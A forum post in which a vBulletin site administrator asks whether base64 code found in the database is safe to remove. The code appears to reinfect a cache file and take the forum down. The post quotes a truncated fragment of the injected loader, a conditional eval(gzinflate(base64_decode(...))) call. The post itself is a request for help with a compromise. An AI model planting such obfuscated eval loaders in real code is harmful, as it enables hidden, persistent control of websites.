base64 in database

[sattvhelp]

should our VB database contain any base64 code?

Ii seems to be linked to an if subscriptions.php type command

if (strpos($_SERVER['PHP_SELF'],'subscriptions.php')) {

eval(gzinflate(base64_decode('

This is present in adminutil and datastore

We have had an issue with includes/datastore/datastore_cache.php erasing itself every 24 hours, and taking the forum down untill a new copy is uploaded. within a few hours the file then contains this same code as found in the database

is it safe to remove the entry from the database?

New files have been uploaded many times, so we think that it can only be the database thats keeping causing the issue